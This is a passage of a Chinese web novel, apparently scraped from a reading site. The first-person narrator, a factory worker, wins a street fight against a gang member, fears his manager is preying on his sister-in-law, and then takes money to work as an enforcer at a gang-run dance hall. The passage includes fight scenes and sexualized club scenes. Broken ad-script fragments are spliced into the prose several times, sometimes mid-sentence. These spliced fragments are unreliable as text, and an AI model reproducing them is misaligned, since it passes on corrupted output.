王美玲笑得更灿烂了,“你不会两个都惦记吧?” 我顿时心跳加速,慌不择路往外跑。 身后,王美玲的笑声如银铃般清脆,响彻在耳边: “不能那么贪心哦,姐姐这的门,随时为你敞开。” 我一头雾水,不知道她说的哪扇门。 回到车间,依旧是无心工作。 不是因为王美玲和周琴那两个烦人精,而是因为嫂嫂对我的冷淡,让我特别难受。 还有个更大的麻烦,那就是廖主管要整我,这事必须得解决才行。 本来是想问问王美玲的,结果被她一胡闹,忘得一干二净。 我想说上个班,怎么就那么多破事啊! 心不在焉终于熬到了下班,惯例就往宿舍走去,等老李给我带饭。 然而,一道人影突然横在了我面前—— 竟然是大b哥的手下,那个大飞! 他为什么会出现在厂里,怎么进来的,门卫很严的啊? 大飞冲我笑了笑,那笑容,充满了挑衅。 “没想到啊,你还真是个厂仔。” 说着,他活动活动颈关节,一副又要动手的架势。 我很想说你他妈是不是有病,但怕激怒对方,只能好声好气道: “飞哥,你这也太不讲规矩了吧。” 他笑得更加放肆,说:“规矩?我的规则就是规矩!” “你小子以为不出厂就没事了?来,那天被喊停,今天我们尽兴。” 我火冒三丈,脑筋飞转,急着想该怎么脱身。 不远处传来欢笑声,越来越近,应该是工友们。 我可不想让别人知道跟这种混社会的有关系,当下更加着急了。 而大飞的眼神变得更冷,他低声威胁: “你要是不敢跟我打,我就闹,看最后谁吃亏。” 草了! 这人他妈真是有病,就因为那天我没被打趴,害他丢了面? 至于吗? 现在还搁这威胁我,这让我怒火更盛,拳头一紧,指关节噼啪作响。 我保持冷静,“行,换个地方,我让你尽兴!” 第19章 别压抑自己了 老周说过,世上有两个地方出真男人,一个是军队,另一个则是监狱。 我,一个纯纯男子汉,别人都踩脸上来了,哪还有忍气吞声的道理! 更何况,姓廖的魔爪正伸向我的嫂嫂,而我却还未想到应对之法。 嫂嫂不理我,王美玲和周琴又对我死缠烂打。 这些事加总在一起,真是让我既恼火,又无措,还迷惘。 现在,大飞找上门来,更是把我这些天憋着的气给彻底点燃了! 管你大飞小飞,待会我让你飞不起来! 我一咬牙,上了大飞的摩托车。 这摩托车可不一般,跟那些摩的佬的车完全不一样。 车头很小,车肚子却很大,尾巴又很小,关键大飞还俯着身开。 速度极快,车尾扬起的尘土像是在诉说着它的狂野。 那轰鸣声,响彻整条街。 转弯时,车都快贴地了,害我老紧张,不自觉就抓紧大飞的皮衣。 大飞嗤笑,“乡巴佬。” 也是后来我才知道,这玩意叫什么杜卡迪916,市场价一万多米元起步呢! 天呐! 那简直是当时的我,连想都不敢想的存在。 我们来到一处河堤的草坡旁,大飞脱下皮衣,率先跑下草坡。 我看着那辆拉风的摩托,心里有点痒痒——这车不锁? 说实话我挺馋,当然,也只是想想如果自己开,会是什么感觉? 但现在,不是想这些的时候。 大飞已经站在草坡下,朝我勾了勾手指。 “来,让我再见识见识你的身手。” 他眼里有种无法掩饰的战意,显然等这一刻等了很久。 我敛了敛神,也滑跑落下草坡,很清楚,今天不给这家伙打服,他必然不会罢休。 当然,大飞是泰拳高手,还在南洋拿过冠军,自然不能大意。 他又是二话不说,拳风带起一阵呼啸,迫不及待就强攻了上来。 我迅速侧身,抬手格挡,同时一记反肘直击他的脸颊。 他猛地一撤,眼中闪过不屑,也用肘击朝我颈部砸来。 我脚步一滑,躲开攻击,同时一记扫腿横扫他的下盘。 大飞迅速跳起,落地后再次发动猛烈攻势,连续的膝击和拳击如同暴雨般倾泻而来。 我连连后退,看似处于下风,实则不然。 蔡李佛拳讲究刚柔并济,我怎么可能被他牵着鼻子走呢? 我在寻找一招定胜负的机会! 那晚交手时,我差不多也摸清楚他的路数了。 泰拳,攻击性是强,但防守却薄弱了点。 尤其每当他甩腿,他的双手都会护住胸口。 看起来守得严丝无缝,可下盘却都是破绽。 我不断见招拆招,始终保持冷静。 终于—— 大飞又一记鞭腿扫来,可能是见我如此难缠,他也急了。 我察觉到他的重心已经偏移,立刻抓住这个机会! 脚下一滑,猛地靠近他,右手旋即一记侧身冲捶直击他的肋部。 这一招是蔡李佛拳中的经典招式,讲究迅猛有力。 大飞闷哼一声,身体向一侧倾斜,显然这一击让他吃了苦头。 但他不甘示弱,再次发动攻势。 他的眼中带着疯狂,拳头如雨点般向我袭来。 我迅速调整节奏,见他愈发急躁,索性不再退让,连招反击,硬生生逼得他改攻为守。 大飞的防守明显吃力,动作越来越迟缓,破绽逐渐显现。 机会又来了! 我一记快拳直击他的面门,逼得他不得不后退。 紧接着,一个低扫腿,瞄准他的下盘。 扫腿命中! 他失去重心,身体晃动,险些摔倒。 我则又趁机上前,连续出拳,虚招连连。 就在他调整防守,以为我会主攻他的头部时,我的拳路突变。 一记冲拳撕开他的格挡,重重击中他的腹部。 “砰!” 大飞闷哼一声,身体弯曲如虾,显然这一击让他吃了大苦头。 他连退几步,喘着粗气,眼神中多了几分忌惮。 我站定,冷冷看着他,“还来吗!” 大飞咬牙,眼中战意更浓,但却迟迟没再出拳。 就这样,我们对视了好一会儿。 大飞捂着腹部,龇牙咧嘴,忍不住似的“草”了一声。 显然,刚才那一拳让他吃不消,我也没手下留情,用了起码七成力。 “妈的,你牛逼,算我撞铁板上了,我服。” 大飞突然朝我一躬身,这举动让我很意外。 这家伙自尊心那么高,竟然真服气了? 我不敢放松警惕,怕他玩什么阴招。 但他转身朝草坡直接躺下,又朝我扔来一根烟。 “我不抽烟,谢了。”我说。 大飞挺诧异看了我几眼,随即笑了,“你小子真是怪咖。” 我无所谓他怎么说,干了一架,心情倒是好转了不少。 却不想和这家伙有过多接触,天色也不早 了,我着急回厂里。 于是我说,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以后别找我了,今天算分出胜负了吧?” 大飞笑对,“咋了?嫌我是个烂仔,怕对你影响不好?” 我没说话,但心里确实是这么想的。 现在在厂里,对我的流言蜚语已经够多了,我不想再给那些闲得蛋疼的人添料。 “唐哥,你窝在那个厂能挣几个钱啊,真不出来跟兄弟一起打天下?” 见我愣了愣,大飞又补了一句: “你看着应该比我小,但确实能打。我大飞这辈子就服两种人。” “一种比我狠,一种比我有能耐的。” “你比我能打多了,别说喊你唐哥,喊你小唐爷我都行。” 突然的吹捧,让我心情很怪。 我苦笑,“别废话,送我回去吧。” 大飞不依不饶,起身追上来,“唐哥,小唐爷,你也想出人头地吧?” “看我,这辈子都不可能打工,不一样要女人有女人,要车有车!” 说着,他热络地想要和我勾肩搭背,这转变,说实话让我很不适应。 我抬手挡住,客气拒绝,“别,我们还没到这种关系。” 大飞却不恼,继续道:“唐哥,来吧,一起干大事!” 他的话确实极具诱惑,这几天,我也没少回忆那天的场景。 桌上那一沓沓钞票,真香! 可心里面那杆秤却稳得很,我知道我不能答应。 为了不让爸妈和嫂嫂伤心,我唐浩绝对不能再行差踏错了! 我板着脸警告:“闭嘴,再说我真翻脸了。” “好。”大飞忙举双手表示妥协。 此时天色已晚,我们回到厂门口附近,应该是看出我对摩托车很感兴趣,他笑了笑: “看上了?想要就拿去。” 说着,他拔出钥匙就要朝我抛来。 我吓了跳:“别,受不起!” 怕他继续纠缠,果断就往厂里跑。 身后,大飞似乎故意将引擎弄得很大声,轰隆隆响,他大笑道: “别压抑自己,我等你!” 那一刻,我是真的落荒而逃,害怕自己抵制不住这种诱惑。 你们不清楚这一小段路,我跑起来多么煎熬。 终于,好不容易进了厂门口,没等我喘口气。 就见嫂嫂满脸焦急,匆匆朝我小跑过来。 没等我说话,她就扑进我怀中,紧紧抱住了我。 “小浩,你去哪了啊!”嫂嫂直接哭了出来。 我很懵,不明白嫂嫂为什么会在这,更让我诧异的是。 那姓廖的也在,他不是出差了吗?! 第20章 一步一步落入陷阱 姓廖的这时候出现,顿时让我很警惕。 嫂嫂抱着我,我死死盯住他。 他不知是看不出来我对他充满了敌意,还是我的敌意在他眼中根本不是个事,总之笑嘻嘻的。 但我现在也没心思理他,随口应付着嫂嫂的问题,“我能去哪啊,就是厂里闷,到街上逛了逛。” 结果,嫂嫂的反应让我吓了一跳。 她的眼睛瞬间变得凌厉,眉头紧紧皱起,嘴唇也微微颤抖。 这明显是生气了。 而我还从未见过她这么生气的样子,脸颊都泛红了。 “小浩,你确定还要骗我吗?”她的语气也变得咄咄逼人,没了往日的柔和。 我被问住,一时间,好像干了坏事的孩子被抓现行,很是无措。 嫂嫂接着说,她已经知道我昨晚去了歌舞厅,还和人打了架。 她一边说,一边开始检查我的身体,看有没有受伤。 我整个人都炸了,昨晚那件事,知情的就伟哥,王美玲和周琴三个。 这是谁大嘴巴,竟然把事情抖出来了! 慌乱下,我连忙赔笑,“嫂,没事的,事情已经被兴叔摆平了。” 虽然这样做有些不厚道,但此刻我只能用兴叔的名义来为自己辩护。 毕竟,事情的真相太复杂。 我总不能实话实说,告诉嫂嫂沙田这地方有个大佬叫b哥,他看上我了,想让我跟着他混,还要给我一大把钞票吧。 而今晚,则是一个叫大飞的不服气,要找我练练,然后我们去了河堤,他被我打服,改口叫我小唐爷呢。 那不是让嫂嫂更担心吗。 嫂嫂还是很生气,眉头紧拧,杏仁眼瞪得圆滚滚,还噙着泪。 那模样,让我差点没忍住,就想抬手给她抹去脸上的忧愁。 真的是哑巴说黄连,有苦说不出啊! 嫂嫂气恼地问:“小浩,你不是答应我不跟他来往么?” 我知道她其实是担心我,怕我又干什么傻事。 虽然我一再保证不会了,但显然之前的先例让我的话没有多少说服力。 嫂嫂不希望我和兴叔走得太近,说到底就是不希望我跟混混扯上关系。 她是关心我,我心里很清楚,所以也没必要去纠结对与错。 我双手捏着耳垂,矮下身子,继续赔笑。 这个样子看着傻里傻气,但以前有次惹嫂嫂生气,我也是这么做,她就被我逗笑了。 “嫂,我发誓,以后我肯定老老实实待在厂里上班。绝对不会再有下去了!” 嫂嫂很认真地问:“真的吗?你确定这真是最后一次?” 我同样认真答:“千真万确,骗人的话就是小狗!” “噗…”嫂嫂终于眉开眼笑。 可能她压根就没生气,只不过故意摆个样子吓唬我,见我没事也就放心了。 要是此刻只有我和嫂嫂,这一幕真是温馨动人。 之前她还生我的气不肯理我,我正愁怎么哄她开心呢,真是谢谢大飞了。 但该死的是,姓廖的突然哈哈大笑,那笑声真是刺耳! “好啦好啦,年轻人皮实点也好,林桃,人回来就好,你别瞎操心了。” 他的话像一盆冷水浇我头上,瞬间把温情冲得一干二净。 而嫂嫂的反应,更是让我猝不及防。 她居然朝姓廖的微微鞠躬,很感激道:“廖哥,今晚真是麻烦你了。” 廖哥? 不是,我就出厂那么一会,嫂嫂怎么就喊这姓廖的哥了? 发生了什么? 姓廖的笑得那叫一个得意,却矫揉造作摆摆手。 “你的事嘛,我当然得放在心上,以后有什么困难,尽管找我,我都给你摆平!” 说着,他还很大气拍了拍胸口。 嫂嫂又连忙说了几句谢谢,那表情,可不只是为了应付那么简单。 我草! 果然跟王美玲说的一样,这姓廖的就是广撒网,玩的一手愿者上钩。 但凡从外地来的,最好是那种没见过什么世面,年轻漂亮的女人,就都是姓廖的猎物。 他会假惺惺给足关怀,让这些女人以为在他乡找到了靠山。 一来二去,就都被他整到床上去了。 王美玲还提到过,几年前有个女的肚子就这样被搞大了,可姓廖的提起裤子不认人。 最后,害得别人跳了江,这事当时候闹得挺大,可姓廖的却安全无事,可见他背后的能量确实不小。 我差点没忍住,就想一脚踹上去,你他妈感动我嫂嫂一下试试,真当我唐浩好欺负呢! 不过理智告诉我,这时候得冷静。 毕竟他现在什么都没做,真一脚上去,代价肯定不小。 如果我被他搞进去了,岂不是正中这货下怀。 到时候嫂嫂独自面对这个禽兽,真就小白兔碰上大灰狼了。 念头闪过,我立马沉住气,心里头暗暗发誓: 等着吧,敢打我嫂嫂的主意,我一定让你生不如死! 这时姓廖的又说:“没什么我就先回去了哈,对了,那件事等我下次回来,希 望能听到好消息。” 嫂嫂连连点头,“好,谢谢廖哥,让我再考虑考虑。” 姓廖的背身举起手,摆了摆,以为这样自己会很酷。 我连忙问,“嫂,那家伙说啥了?” 嫂嫂瞅了我一眼,责怪道:“不许没大没小,廖哥对我们很关照,是我们的恩人。” 听到这话,我直接呆在了原地。 完了。 这些可真完了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 才那么一会,嫂嫂就帮这扑街说上话了? 那瞬间,我心里面真不是滋味,纠结得就像是被困在蛛网中的小虫,挣扎着要不要把姓廖的阴谋全盘托出? 问题是嫂嫂会信吗? 而嫂嫂又说我被混混带出厂后,她都急死了,也是刚好碰见廖主管。 廖主管二话不说就喊来门卫,组织了一伙人去外头找我。 还打了好几通电话,说是道上他也有点人脉,让嫂嫂放心,保证不会让我出事。 我越听越难受,心里头那股火苗子直往上窜,怪自己粗心大意了,如果不是让嫂嫂知道我出了厂,她也就不会着急。 更加不会让姓廖的有机可乘! 草! 到底是谁那么多事,告诉嫂嫂我跟人打架,还跟混混一起出厂啊! “小浩,廖哥那正好有个秘书的位置空缺,问我感不感兴趣。” 我一听,脑瓜子更加的疼,就像是被人狠狠敲了一记。 还真让王美玲全说中了,这姓廖的,就是一步一步引诱嫂嫂掉进陷阱。 就跟个蜘蛛网,别看姓廖的现在还算老实,实际上,他已经都安排上了! 我隐忍着怒火,问:“那你呢,怎么回答他的?” 嫂嫂显然有点苦恼,但比起苦恼,在她脸上还能看见几分期待。 她低声道:“我当然拒绝了,什么秘书还是第一次听说呢。” 我暗松一口气,但嫂嫂接下来的一句话,又让我稍有放松的心情,立马悬得更高了。 “不过廖哥说我没经验不打紧的,重要的是要有进取的心。” “还说等过段时间,小浩你也可以调去更好的部门。” “廖哥给我开一千五一个月,说等他下次出差回来,给个答复。” 我喉咙像被什么卡住,发不出声音,几经纠结,最终还是打算告诉嫂嫂实情。 只是没等我开口,嫂嫂又抢先一步说: “小浩,我想问问你我真行吗?我觉得这是个机会,你觉得呢?” 她脸上的苦恼已然看不见,被兴奋和期待完全取代。 看得出来,她似乎根本没察觉到,那姓廖的如此好心,是在图谋着什么。 真以为天上会掉馅饼?还是千里马终于碰上伯乐? 但看嫂嫂这模样,我又哪狠得下心,把现实的残酷说出口。 这不打击她吗? 告诉她别人哪是看中你的本事,分明是馋你的身子! 夜色下,风愈发躁动。 我静静看着嫂嫂,她也看着我。 朦胧的月光下,她好像一幅无暇的水墨画,眉眼柔和,带着忧虑,也有憧憬。 风拂过她的长发,轻盈在空中舞动,为她的美丽又添上一分灵动。 我张了张嘴,道…… 第21章 那一杆秤,崩了! 最后,我还是不忍心说任何难听的话。 就像我从未见过嫂嫂那么生气,同样,我也从来没见过嫂嫂如此期待的模样。 很可惜这份期待不是我给的,是姓廖的扑街! 不知道你们懂不懂我这一刻的感觉,总之就是心里头啊,特别不是滋味。 好像被什么揪着了,隐隐作痛。 嫂嫂觉得姓廖的让她当什么秘书,是看中她很有潜力。 如果让她知道其实不是,是那禽兽图谋不轨,不就等于全盘否定嫂嫂的期待了吗。 嫂嫂又说,“小浩,这样一来我们就能更快攒到钱了,你家里还欠别人钱不是吗。” 她的声音带着一丝颤抖,却充满坚定。 “当年那件事我责任最大,不是我,你肯定会有大前途的。” 她的目光变得柔和,像是透过时间的长河,看到了那些逝去的岁月。 “小浩,等嫂嫂赚到钱了,你再回学校读书好不好。” 听着嫂嫂的话,我更加难受了。 也是直到现在才明白,原来嫂嫂鼓起勇气跟我来港城,躲堂哥那个人渣还是其次。 她一直认为自己亏欠了我,亏欠了我爸妈。 认为如果不是她,我该考上大学,坐办公室出人头地才是。 而不是进厂当清洁工,这些天,她看我被王美玲折腾,心里面老难受了。 所以嫂嫂才会很着急,着急怎么让我少吃点苦头。 她很想补偿我那几年在牢子里的青春,只要她能给的,她都愿意。 我们都急,但又应了那句话。 屎难吃,钱难赚。 急又有什么用呢,像我现在就只是个清洁工。 不止在社会,在厂里也是个小卡拉米。 其实我也特别迷茫,这跟我离家时那股雄心壮志,简直就是背道而驰。 说是要当喷漆工,也是定个目标,好让自己在巨大的落差前,没那么焦虑。 但现在,竟然被那姓廖的钻了空子! 当下我特别清醒,明白不能急躁。 不能否定嫂嫂的期待,要鼓励她,要让她确信自己就是闪闪发光。 但又不能让那姓廖的得逞,于是我认真想了想,很勉强挤出笑: “嫂,你肯定行的啊,你那么优秀。” 果然,嫂嫂就是想得到我的肯定,她眉眼间的笑意愈发明媚。 “真的么,小浩,你真觉得我能行?” 我点了点头,笑着说:“当然啊。” 不过,这可不是我的目的。 我目的是先让这件事缓一缓,便问: “对了,廖主管有说他出差几天吗?” “好像……”嫂嫂想了想,“好像是一个月吧。” 我顿时窃喜,一个月,那还有时间! “那这秘书到底是干什么的,嫂嫂你知道吗?” 其实我也不懂秘书到底是干啥的,但这话一出,嫂嫂有点小兴奋了,连忙解释: “廖哥说不难,就是帮他整理文件。” “还有就是有些应酬他不想去,我来帮他挡。” “对了,廖哥还提了一句,说他很快就要升迁了。” “到时候等他在上面当管理,车间主管位置空缺,就提拔我当副主管呢。” 我愣了愣,差点草出声。 好家伙,真是好大一个饼,难怪这姓廖的祸害良家妇女,都让他得手了。 我试探着问:“这么好,可我们才进厂没几天,突然就被提拔,别人怎么想?” “尤其王美玲,她肯定不舒服的,不如先等廖主管下次回来再说?” 嫂嫂点点头,“嗯呐,这方面我也有想过,小浩,你比以前成熟了。” 她说着,冲我欣慰一笑,那笑容像阳光一样,暖得我的心都快融化了。 就这份笑容,我发誓一定守护住,不能让那姓廖的魔爪,毁了这一切! 我们边走边聊,有件事,我很好奇。 就是前面嫂嫂为什么生我的气,只是一直没找到机会开口问。 嫂嫂今晚话特别的多,或许真是对未来有了憧憬,步伐都变得轻盈多了。 她又给我说了很多,说起她从小的梦想,是当一名服装设计师。 这我知道,当年在老家,嫂嫂的手就特别巧,远近闻名。 织毛衣和各种小玩意,把不要的衣服重新裁剪,又成新的,还喜欢画画,特好看。 但她爸见不得这些,有次,直接把她的作品全拿到门口烧了,骂她整这些有毛用,真是个赔钱货。 那年我十四岁,站在离她家不远的一棵树下,看着她跪在一摊灰烬面前哭。 她碎了,我却帮不上任何忙。 嫂嫂说到这些时,脸上满是遗憾,是啊,她牺牲自己嫁给了我堂哥,从那后就打理鱼档,管一家子的事,每天都操劳得要命。 “小浩,等我们把欠的钱填上,你回去读书,考个大学文凭好不好。” “到时候我看看有没有培训班,我还是想把以前的喜欢拾起来呢。” 我心疼地笑了笑:“好啊,一言为定!” 就这样,路终有走完那一刻,不 知不觉我们便到了男职工宿舍。 她有些不舍,似乎还有很多话没说完。 我也不想跟嫂嫂分开,不过她已经转身走了。 路灯的柔光下,她的步伐轻快,裙角轻盈摆动,甚至还蹦了几下,像个孩子纯真美好。 我克制着心情,得搞清楚今晚到底谁把我卖了,真是草了。 不是答应我,替我保密吗! 回到宿舍,伟哥他们都睡得香,看着也不像卖我的样子。 我也就没吵醒他们,又失眠了一夜,满脑子都是谁出卖了我的念头。 第二天中午,我就把王美玲堵在她办公室里。 她今天倒没再调侃我,显得有些心虚。 我当即明白了,好家伙,原来是你! “王美玲,你什么意思,答应我的事怎么还食言!” 王美玲连忙说:“小唐,你先听姐姐解释行不。” 我深吸一口气,将怒火压下,“行,你说。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 王美玲于是给我解释,说不是她大嘴巴,是昨晚撞见大飞找我麻烦,可给她吓坏了。 于是她赶紧跑回办公室打电话,原来她并没有我想的那么简单。 在道上,她也是认识几个人的。 也对,就那晚在舞厅,她扭得那么欢,怎么看都不是头一次去。 王美玲说她想找人帮忙,结果好死不死嫂嫂这时候来找她,在门口听了个大概。 “小唐,真不是姐姐出卖你,你是不知道你嫂嫂那会多可怕,都尖叫了。” “我怕事情闹大,也想赶紧稳住她的情绪,所以…所以……” 我怔了怔,才知道昨晚还发生了这么多事。 王美玲看我还是挺火,连忙又说:“昨晚我也在呢,看见你回来了才放心。” 我狐疑道:“是吗,怎么没看见你?” 王美玲苦笑,“这不怕你骂我,就在不远处看,看着你和林桃回宿舍。” 我敛了敛神,又深吸一口气,“行,那这件事我姑且饶了你,但有件事,你得帮忙。” 这也是我今天来这的主要目的,姓廖的耍手段,我不能坐以待毙。 “王姐,你不是答应我,说那姓廖的阴谋,可以从中调和吗?” 王美玲被我问住,有些迷糊道:“是啊,我说了啊,说你跟小琴处对象呢。” “这样一来,廖主管也不好搞你了,至于林桃,你看紧点应该也没事。” 我往沙发重重一坐,使劲抓了把头发,就很服气,他妈这是什么馊主意啊! 但此时,真是连生气的劲都没了。 王美玲见我这样,紧张兮兮问:“怎么了嘛,小唐?” 我抬头,咬咬牙。 “姓廖的找过我嫂嫂了,说想让我嫂嫂当他秘书,你知道?” 王美玲脸色一变,“他真这么说了?” 我没好气道:“是啊,骗你干啥。” 王美玲登时显得很头疼,“那完了,他是铁了心要吃掉你嫂嫂了。” 我说这不废话,所以才来找你啊,赶紧支个招,速度! 结果王美玲接下来的话,更是让我汗毛耸立,着实吓得不浅。 她说别看姓廖的挺忙,总出差往外跑,实际上,姓廖的在内地不知养了几个家呢。 又说秘书这活,就是要和他一起出差,到时候孤男寡女…… 我越听越害怕,心里那杆秤愈发倾斜。 昨夜我就有认真想过,现在困扰嫂嫂和我的最大难题,不就是钱吗。 老老实实打份工,几年内根本别想把家里的窟窿填满。 更别说干其他的了! 我需要钱,很需要! 所以,那晚大b哥把钞票豪气拍桌上的情景,又一次让我心痒难耐。 心里面就有两种声音。 有个说唐浩,你怕锤子啊,只要犯法的,危险的不碰,不也是打工。 另一个却说,万一被嫂子发现,她会不会就真不理我了? 现在,第一个声音压住了所有。 我要钱,就这么简单! 第22章 不一样的新世界! 王美玲忙说让我先别急,她还有办法。 我虽不抱什么希望,但还是问:“什么办法?” 王美玲说,她会找机会跟嫂嫂聊聊,告诉嫂嫂秘书这活得到处飞。 兴隆玩具厂的业务做得很大,姓廖的出差当然也不是四处瞎搞。 他的确很忙,一来是跑市场,看看什么玩具更有竞争力; 二来也会出国,抓住别人的潮流风向。 这些事本该市场部管,但姓廖的身为车间主管,也会一起去学习。 王美玲解释的这些我没多大兴趣,不过她有句话说到了点子上。 “我看林桃挺保守,这么说不是看不起你们从小地方出来,是真的。” “只要我说当秘书要全国飞,你嫂嫂会不会就打退堂鼓了呢?” 我一拍大腿,妙啊这主意! 对于嫂嫂,我还是了解她的,没来港城之前,她最远就到过省城。 如果不是迫不得已,嫂嫂估计根本不愿意离开从小长大的小镇。 王美玲又问:“怎么样,这下可以吧?” 我松了一口气,点点头:“可以是可以,就是你别直接说。” “嫂嫂她对你折腾我的事耿耿于怀,对你还是有点意见的。” “你要直接说,她估计会以为你嫉妒她,不一定听得进去。” 王美玲蹙眉道:“那咋办……” 我想了想,心中有了主意,便说:“这事你不用管了,我找机会去说就行。” 然后,我就先回车间上班,尽管心里烦得很,但还是仔细负责每个工件的清洗。 很清楚,哪怕天要崩了,我也不能自乱阵脚。 期间我也跟嫂嫂有的没的聊了几句,该笑还是笑,不让她看出丁点不对劲。 我已经决定了,得去那个舞厅转转。 机会可能有很多,但现在我看得见、摸得着的机会,就在那舞厅里。 这回我也有了经验,以防嫂嫂突然有什么事找我,而我又不在厂里,便找了伟哥他们替我打掩护。 于是晚饭后,我就出厂了。 来到歌舞厅大门前,我掏出一根烟,说实话我真没抽过。 一口下去,那滋味真是辛辣,还很冲。 害我不停呛咳,眼泪都要咳出来了。 而我这样做,就是想铁下心,只要走进这个大门,就不回头了。 后来我在一本书上看过,说有的门看着是门,但它却是两个世界的交界。 这话真应景,眼下,推开门后,动次打次的音乐声又一次扑面而来,震得我的心脏都跟着节奏跳动。 镭射灯闪烁,五彩斑斓的光影交织,空气中弥漫烟草和酒精的混合味道,还有一丝若有若无的香水味。 我跟路过的服务生说:“你好,我叫唐浩,麻烦告诉你们梁经理我找他。” 可能是我表情过于严肃了,服务生看我的眼神怪怪的。 不过,他竟然认得我。 “诶,是唐哥你啊,梁经理交代了,你要再来我们这,就去见他。” 他特别热情,带着我穿过一群正在劲舞的年轻男女。 那些女的曼妙身姿在灯光下若隐若现,好似一场迷幻的梦境。 幽暗的走廊墙壁上,挂着一些老旧的港片海报,给这地方添了几分怀旧味道。 原来这地方还有包厢,规模真不小。 服务生推开一间包厢的门,里面的氛围一下子转变。 柔和的灯光洒在豪华的沙发上,桌上摆满了各种酒水和水果。 空气中弥漫着一种淡淡香氛,令人放松却又警觉。 服务生侧身微鞠躬,笑着示意我进去。 梁经理此时就岔开腿坐在沙发上,在他身旁还有两个女孩,看着年纪不大,估计跟我差不多。 可她们尽管年纪看着小,打扮却是狂野得很,白色的低胸衣,让两团白色挤出深沟,又穿着渔网一样的袜子。 有个女的叼着根烟,动作看着还挺飒,烟雾缭绕中,她的表情透着一股野性和不羁。 另外一个则拿起酒瓶就吹,然后,她竟然要跟梁经理交换嘴里的酒,这一幕看得我目瞪口呆。 梁经理真叫一个左拥右抱,就跟帝皇差不多。 而且他右手还深入一个女孩的上衣,那女孩发出轻哼声,又挺嗨的,脸上泛着红晕,目光迷离。 这画面对我来讲,简直可以用炸裂来形容了! 我不明白,这种事他们怎么能如此理所当然。 梁经理起初挺不耐烦,或许我的出现搅了他兴致,他眉头紧锁,眼中闪过不悦。 不过看清是我后,他脸上的不耐烦瞬间笑得好像花儿绽开。 他推开两个女孩,起身大步走来,跟我抱了抱。 那股浓烈的古龙水味让我很不适应,但还是做做样子,僵硬地回抱了他一下。 心中却是五味杂陈,这样的场面,让我感到既陌生又不安。 “还不赶紧叫唐哥,懂不懂规矩,以后,他就是我们这的靠山了!” 梁经理热情款款介绍我,那两女孩都冲我抛来媚眼,拉丝的那种。 “唐哥好。”她们的声音,听着好 像有种刻意过度的娇媚。 梁经理又拉起一个女孩塞给我,女孩也比我想象中更要大胆。 我曾以为,像王美玲那种程度的调戏,已经顶天了。 却没想到,这女孩真野! 一上来就要碰我那,也幸亏我反应够快,立马退了半步。 但好像,还是没能完全幸免。 我既震惊又火大,狠狠瞪了她一眼。 女孩见我这反应却不怕,捂着嘴笑,又似乎挺惊喜,看着精神好像不正常。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “唐哥真厉害呢。” 我脸都红了,紧忙守住心神,对梁经理道: “梁哥,大b哥不是说只要我愿意,就可以来这帮忙看场子吗?” “那之前说的工资还算数不?具体需要我做点什么呢?” 实际上我怎么可能不懂看场子的意思,老周的故事里没少提到过,而我看过的电影,也有类似的情节。 说白了就是打手,如果有人闹事,我就得出面摆平。 我这样问,是想看看这舞厅平时环境怎么样,乱不乱。 如果可以让我浑水摸鱼,那自然是好。 我根本不想打打杀杀,关键是,一个不好真有可能摊上大麻烦。 梁经理笑得眼睛眯成了一条线:“肯定算数啊,走,跟我来。” 在他引领下,我来到了他的办公室。 墙上的架子都摆满了各式各样的洋酒,瓶身在灯光下反射出璀璨光芒,给我一种奢华的感觉。 红木办公桌上堆满了几本厚厚的账本,还摆着一支看着挺昂贵的钢笔,透着一股权势的味道。 梁经理示意我坐下,自己则走到桌后,随手拿起一瓶洋酒,倒了两杯。 “今天这杯酒咱们干了,以后就兄弟相称,有福同享,有难同当!” 这面子得给,于是我直接一饮而尽,顿时胸口火辣辣的,差点没给我烧着。 梁经理拉开抽屉,拿出个厚厚的信封,推到我面前。 “b哥之前答应你的,出来跟他,肯定不能让你吃亏!” 我既惊又喜,透过信封口子,隐约能看见红红的钞票。 这厚度,不正是那晚大b哥拍桌上的钱吗! 一万块啊! 这怎能不叫我心动? 本来,那天晚上拒绝时就难受得不行。 大b哥的诚意,我确实感受到了。 但我没好意思立马去拿,倒不是矫情,自尊心偏偏在这个时候作祟了。 怕对方瞧不起我,觉得我没见过世面,于是我只是点点头。 “谢谢大b哥,谢谢梁经理。” 梁经理点燃了一根很粗的烟,后来才知道这玩意叫雪茄。 他深吸一口,吐出一团浓烟,那股子霸气瞬间弥漫整个房间。 他摆摆手,“兄弟,你太客气了,工资还是说好的月三千,但这只是底薪。” 我一听,心里一阵狂喜,但表面还是装得镇定。 梁经理身子往前倾,双手按着桌面,这姿势,跟桌角那尊鎏金的铜钱蟾蜍挺像。 显然他也看出我的诧异了,笑得露齿。 “要有人敢来这场子里搞事,只要你能摆平,一次最低一千!” “只要干得漂亮,我另外还会给你提成!” 我去! 这不就是天上掉钢镚,还追着我砸吗! 第23章 初体验 我承认,我确实没能抵住诱惑。 在这个人均四五百的年代,有人直接拿一万块砸你,给你开月三千工资,还有提成。 这谁顶得住? 办公室里烟草、香薰混杂着酒精的味道,熏得我脑袋有些发晕。 再看看桌上那鼓鼓囊囊的信封,我没再迟疑,迅速把它塞进了兜里。 头一回捏住那么多钱,我特别兴奋,感觉整个人都飘起来了。 这样形容一点不夸张,真的是飘飘然。 右手用力握着信封,凭感觉丈量着钱的厚度,更没忍住,拇指伸进信封口抠了几下。 不怕你们笑话我,那时候,我确实很乡巴佬。 梁经理见我这样,又笑得眼睛都眯成了一条缝:“那就今晚开始?要觉得能行,我就把你介绍给大家认识。” 听到这话,刚还在天上的我,瞬间坠入了人间,心里像被泼了一盆冷水。 “梁哥,其他都没问题,就是这个名字,能不能换个叫法?”我急忙说道。 这家星光歌舞厅和玩具厂只隔了一条街,平时难保不会有工友跑来玩。 人怕出名猪怕壮,况且我出的还不是什么好名。 要是“唐哥”这个名号传进玩具厂,再传到嫂嫂那里,不敢想会有多可怕。 梁经理好奇问:“咋的啦,难道有什么苦衷?” 我苦笑着点头:“是啊,家里严。” 